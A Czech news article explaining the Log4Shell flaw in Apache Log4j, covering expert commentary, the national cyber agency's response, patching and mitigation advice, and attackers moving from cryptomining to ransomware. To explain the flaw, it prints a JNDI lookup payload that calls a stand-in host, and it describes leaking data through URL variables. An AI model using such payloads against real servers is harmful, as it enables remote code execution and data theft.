Hlavní obsah

Největší průšvih teprve přijde. Zranitelnost spustila pandemii kyberútoků

Foto: Seznam Zprávy

Zranitelnost v knihovně Apache Log4j způsobila větší problémy, než se zprvu čekalo.

Bezpečnostní díra v populárním nástroji umožnila hackerům napadnout servery po celém světě. Správci teď záplatují své servery, zatímco útočníci hledají zranitelná místa a vymýšlejí další způsoby, jak na problému vydělat.

Článek

Před týdnem se objevily první informace o zranitelnosti CVE-2021-44228, která dostala označení Log4Shell. Začalo to jako nenápadná chyba, kterou používali jako vtípek třeba hráči Minecraftu. Postupně se ale ukázalo, že tato chyba nabízí příležitost k útokům na miliony serverů a zařízení.

Potenciální množství zranitelných cílů je enormní.
Petr Kadrmas, Check Point Software

„Zranitelnost se týká nástroje Log4j, což je jeden z nejpopulárnějších logovacích modulů založených na jazyce Java,“ vysvětluje Petr Kadrmas, bezpečnostní expert z Check Point Software Technologies. „To se dnes týká ohromného množství služeb na internetu. Proto je to obrovský problém. Potenciální množství zranitelných cílů je enormní.“ Už dříve společnost upozornila, že počet útoků exponenciálně roste. Z desítek tisíc útoků denně byly stovky tisíc a pak miliony.

Jak zranitelnost Log4Shell funguje?

Opensourcový nástroj Log4j slouží k zaznamenávání událostí, což je užitečné pro vývojáře softwaru. Nástroj může do záznamů přidat i vstup od uživatele. A pokud uživatel v tomto vstupu odkáže na nějakou interní proměnnou (například ${java:version}) bude nahrazeno používanou verzí Java.

Kombinací nástroje JNDI (Java Naming and Directory Interface) a protokolu LDAP (Lightweight Directory Access Protocol) může útočník do zápisu poslat odkaz na soubor uložený kdekoli na webu: ${jndi:ldap://example.com/a}. Za určitých okolností tak může na server propašovat vlastní kód, a dokonce jej spustit.

Dokonce i v případě, že je spouštění kódu zakázáno, může útočník využít tuto zranitelnost ke krádeži dat. Vloží vybrané proměnné do parametru své URL a napadený server mu pak pošle informace, o které „požádal“.

Na zranitelnost reagoval i český Národní úřad pro kybernetickou a informační bezpečnost, který formou veřejné vyhlášky (PDF) vydal tzv. reaktivní opatření, ve své historii teprve páté. Úřad ale uvedl, že tato zranitelnost je výjimečná tím, že se plošně dotýká velkého množství subjektů.

„K vydání reaktivního opatření jsme se rozhodli kvůli extrémně závažné kybernetické hrozbě, která může mít dopad na fungování celé společnosti a která může ohrozit nejen systémy regulované podle zákona o kybernetické bezpečnosti,“ říká ředitel NÚKIB Karel Řehka. Doporučuje, aby podle návodu, který je součástí podrobnějšího vysvětlení, postupovaly všechny subjekty, kterých se zranitelnost může týkat.

Oprava je snadná jen zdánlivě

Proč je současná situace noční můrou správců sítě? Jsou zde tři aspekty: obecná znalost zranitelnosti, snadnost zneužití této zranitelnosti a počet systémů, které tuto zranitelnost obsahují.

„Tato zranitelnost je záludná v tom, že se nejedná o samostatnou aplikaci, ale o knihovnu, která je součástí různých programů,“ vysvětluje Martin Haller, etický hacker a zakladatel Patron-IT. „Tudíž nestačí jen podívat se do nainstalovaných programů na počítači. Je třeba zjišťovat u jednotlivých výrobců, zdali knihovnu využívali, nebo ne. Pro opravu chyby pak potřebujete dostat aktualizaci programu od výrobce. Což může být problém u softwaru, který již není podporován.“

Jak se bránit zranitelnosti Log4Shell

Zranitelnosti typu zero-day jsou nebezpečné, protože je může útočník zneužít k napadení systému okamžitě. Mezi zero-day patří i zranitelnost CVE-2021-44228, která se nalézá v knihovně Apache Log4j2 verze 2.14.1 a starších.

Tato zranitelnost umožňuje útočníkovi spustit na napadeném stroji jakýkoli kód. Může tak smazat data, ukrást část databáze, nainstalovat škodlivý program nebo způsobit jiné škody. Výrobce chybu opravil tím, že možnost spouštění vlastního kódu ve výchozím nastavení zakázal.

Správci systémů by měli zkontrolovat, zda na svých serverech využívají nástroj Log4j2, a pokud ano, měli by neprodleně aktualizovat na verzi 2.16.0 nebo novější (už ve verzi 2.15 byl problém částečně opraven). Aktualizace je k dispozici ke stažení na stránkách projektu. Před nainstalováním by měl správce ověřit pravost a integritu instalované záplaty pomocí PGP nebo GPG klíčů.

Verze 2.17.0 opravuje další chybu, která umožňovala DDoS útoky: „Verze Apache Log4j2 2.0-alpha1 až 2.16.0 nechránily před nekontrolovanou rekurzí z autoreferenčních vyhledávání. Pokud konfigurace protokolování využívá jiné než výchozí rozložení vzoru s vyhledáváním kontextu, mohou útočníci (…) vytvořit škodlivá vstupní data, která obsahují rekurzivní vyhledávání(…). Tento útok je také znám jako útok DOS (Denial of Service).“

Pokud správce z nějakého důvodu nemůže okamžitě instalovat aktualizaci, měl by alespoň (ve verzích 2.10 a vyšších) zapnout nastavení log4j2.formatMsgNoLookups, které zabrání zneužití chyby. Více informací na stránkách Apache.org.

Pro řadu firem může být ale oprava chyby obtížná, protože knihovna log4j může být různě integrována do dalších nástrojů. Správci sítě by tedy měli být připraveni rychle aktualizovat používaný software. Podrobnosti naleznou i na stránkách Národního úřadu pro kybernetickou a informační bezpečnost.

Existují různé „zkratky“ a nouzová řešení, která umožňují díru částečně zalepit. Různé nástroje umí ze síťového provozu odfiltrovat nebezpečné požadavky. Firmy jako Akamai, Cloudflare nebo Check Point přidaly do svých nástrojů filtry, které umožnily ochránit firmy před velkou částí útoků. To ale nefunguje stoprocentně. „Dalším velkým problémem je velká variabilita tohoto útoku,“ vysvětlil Petr Kadrmas. „Původní návod na zneužití má dnes velké množství variant. Původně se využíval protokol LDAP, ale dnes už jsou verze s dalšími protokoly. Útočníci navíc používají různé techniky maskování (tzv. obfuskace), brání se tak těm obvyklým metodám ochrany.“

Než se správci systému povede všechny komponenty prověřit, měl by podle Kadrmase alespoň vypnout v rámci modulů funkci JNDI Lookup. „Ale ne vždy je v nastavení systému tato možnost jednoduše dostupná. Hlavní problém je v tom, že řada firem ani nemá informaci o tom, kde všude knihovnu log4j používá.“

Od vtípků po ransomware

V ideálním případě by se o zranitelnosti veřejnost dozvěděla až poté, co by byla chyba nahlášena a opravena. Tak tomu ale často není, a v tomto případě se informace o nové „díře“ šířila velmi rychle. Zatímco správci sítě horečně zjišťovali, co všechno musí zalepit, hackeři začali oťukávat, co všechno je zranitelností postižené. Apple, Microsoft, Amazon, Tesla… Twitter se začal plnit různými „úlovky“.

„V podstatě kdekoli na internetu je něco, kam může uživatel něco zadat, takový vstup se s největší pravděpodobností někam loguje, tedy zapisuje,“ popisuje Kadrmas. „A to je vstupní bod, kterým můžete tu zranitelnost zneužít.“

To, zda je nějaký vstup vůči zranitelnosti náchylný, si můžete ověřit třeba pomocí tohoto nástroje. Ten žádné škody nenapáchá, pouze ověří, zda se server nechá přemluvit k tomu, aby místo pouhého zápisu zároveň poslal požadavek na vámi uvedený server. K tomu slouží ta část ${jndi:ldap://log4shell

Foto: huntress.com

Pomocí řetězce s unikátním identifikátorem můžete ověřit, zda je konkrétní server zranitelný.

Ale po počátečním oťukávání už přišly útoky s cílem vydělat. Ze všeho nejdříve to byla pokoutná těžba kryptoměn na cizích serverech. Útočníci využili již existující programy a donutili zranitelné servery, aby na jejich konto těžily kryptoměny. Jde o primitivní formu útoku, kterou ale mohli použít hned. „U těžení kryptoměn je přínos pro útočníka okamžitý a jistý,“ zdůrazňuje Kadrmas. Podle něj je to ale pouze začátek. Domnívá se, že brzy se útočníci přeorientují na komplikovanější útoky s větším očekávaným ziskem.

Třeba na cílený ransomware. „Útočníci pak mohou vydírat danou firmu tím, že by jejich data zveřejnili, pokud by jim firma nezaplatila výkupné,“ přibližuje Kadrmas. Očekává, že hackerské skupiny právě nyní pracují na útocích, které pomocí zranitelnosti Log4Shell propašují vyděračský malware na servery firem.

Ačkoli během uplynulého týdne snad většina zodpovědných správců systému z větší části opravila své systémy, pořád budou zbývat neopravené skuliny, kterých mohou útočníci využít. A právě tyto skryté mezery mohou způsobit, že následky díry Log4j budou ohrožovat internetovou bezpečnost dávno poté, co vývojáři původní chybu opravili.

„Útočníci se začínají zaměřovat na zranitelnosti v open-source projektech,“ pozoruje Kadrmas. „Do budoucna to může být velký problém, třeba v případě různých mikroslužeb.“ Ty jsou oblíbené pro svou víceúčelovost a nulovou cenu. Právě tato oblíbenost je ale v případě nalezené zranitelnosti součástí problému. „A v tomto případě je problém ještě umocněn tím, že útočník může na napadeném serveru spustit svůj kód.“ Může se na cizím serveru utábořit, sbírat data, mazat soubory nebo se z tohoto serveru šířit dál.

I proto se odborníci domnívají, že chyba Log4j ještě zdaleka nekončí. Naopak, její ozvěny zřejmě pocítíme i v roce 2022.

Doporučované